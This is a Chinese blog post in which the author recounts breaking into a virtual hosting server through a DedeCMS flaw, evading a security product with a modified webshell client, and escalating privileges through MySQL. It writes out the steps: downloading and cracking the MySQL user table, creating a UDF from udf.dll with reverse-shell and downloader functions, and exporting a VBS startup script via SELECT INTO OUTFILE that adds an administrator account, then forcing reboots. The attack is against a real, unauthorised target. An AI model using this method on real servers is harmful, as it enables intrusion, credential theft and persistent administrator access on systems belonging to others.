Mysql提权拿服务器

记一次比较艰难奇葩的mysql提权。


最新dedecms出了漏洞。

很常规就找几个站日日。dedecms为主流了

有这么些常规的Oday日起站来容易。

很简单就拿下了shell。不过中途被安全狗的各种杀。还好有过狗菜刀。

2274036336862291067.jpg

 

 

接着看着虚拟主机。好久没提过虚拟主机的。以前都是权限大的才提。这次提着试试。权限很小。

一般mysql提权我先是看站是不是mysql的。然后找配置文件看下。看连接数据库能有mysql的权限不。

dedecms一般都在data目录下的这个文件记录数据库信息。

2274036336862291068.jpg

然后菜刀配置连接

 

2274036336862291069.jpg

这次没有那么运气。当然。在虚拟主机我以前遇见过一次。八十多个站的。zkeys的虚拟主机。

不行。

就不上尝试mysql提权了。

接着先上asp大马

2274036336862291070.jpg

。很常规的去看组件和脚本。

2274036336862291071.jpg

不支持aspx。

好吧。一场恶战。

接着就是看组件了

2274036336862291072.jpg

尼玛啊。四个都禁用了。禁用你妹啊。

接着大马翻目录啊。

找可以利用的吧。

由于权限小。没什么可以翻的。

就找到了一个c:\program files\的目录。不可写。但是可以读。所有子目录都可以。

2274036336862291073.jpg

 

不过里面都翻了。还是没什么。

不可写。lpk也不行。

接着就继续。

2274036336862291074.jpg

发现这个。尼玛啊。天地良心。看到了mysql。果断点击进去

 

2274036336862291075.jpg

把文件下载本地。

然后是不可以用txt什么的编辑的。

我就用下好压。接着用里面自带的内部查看器。看到了路径

PS: 其实用普通的mysql账号连接数据库后执行 show variables like '%datadir%'; 就可以看到数据库路径 

 

2274036336862291076.jpg

好了。不喜欢用大马提权。转战菜刀

2274036336862291077.jpg

心突然一灰。

接着docs

2274036336862291078.jpg

我操可以访问。不是继承性的目录权限。

接着果断mysql\data\

2274036336862291079.jpg

 

卧槽。亮瞎了我的钛合金狗眼。你看这是神马?

还有mysql的目录权限啊。

果断下载user.myd

2274036336862291080.jpg

尼玛四十位的有木有啊。现在这样子懒得我去组合了啊啊啊啊。狗屎运啊。

上cmd5解密

2274036336862291081.jpg

 

菜刀配置去鸟。

 

2274036336862291082.jpg

温馨感有木有。

看版本咯

select version();

2274036336862291083.jpg

5.0啊有木有。不需要导安装目录了。

上udf导出创建函数

2274036336862291084.jpg

~~~~~~~~~~~~~~~~~~~~~北极大黑阔的分界线~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


   downloader 下载者,到网上下载指定文件并保存到指定目录;

   open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

   backshell 反弹Shell;

   ProcessView 枚举系统进程;

   KillProcess 终止指定进程;

   regread 读注册表;

   regwrite 写注册表;

   shut 关机,注销,重启;

   about 说明与帮助函数;

 

~~~~~~~~~~~~~~~~~~~~~北极大黑阔的分界线~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 

 

cmdshell创建了。很高兴。

 

可是。尼玛

2274036336862291085.jpg

什么情况??之前遇到一个5.5也发生了。卧槽。。

不过可以创建函数。我就写入启动项提权了

 

2274036336862291086.jpg

 

创建过程不截图了。

连接mysql数据库后执行

create table a (cmd text);

创建a表列名cmd并写入文本

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );

这是接下来一个一个执行的

建立好列并写入数据了。接着就是导出了。

C:\Documents and Settings\All Users\「开始」菜单\程序\启动\这个是启动目录。

接着select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs"跟着别的大黑阔的。

在菜刀不可以这样子执行。而我是在udf.php里面执行的

然后udf创建shut函数

执行。

 

create function shut returns string soname 'udf.dll'

2274036336862291087.jpg

 

创建了。

接下来关机

select shut ("shutdown")

等管理开机就建立账号了。

接着一个中午过去了。

尼玛。看不了端口。用工具一扫端口就封IP。asp大马没权限读。不能执行命令根本看不鸟。aspx不支持。尼玛要是支持直接读注册表。

接着纠结一会。想到了。

 

2274036336862291088.jpg

用mysql写入文件到启动项。

netstat -ano 显示所有开放端口 > 导出到c:\windows\temp\fuck.txt文本。

接着继续select shut ("shutdown")

我又关机了。接着等到刚才。

重新上shell

2274036336862291075.jpg

 

接着打开

2274036336862291089.jpg

 

接着

2274036336862291090.jpg

 

 

V3eY4原创.QQ:649120659.转载请注明出处。

 

尼玛文章不容易啊。就这么过了一个小时?


你可能感兴趣的:(服务器,配置文件,dedecms,虚拟主机,连接数据库)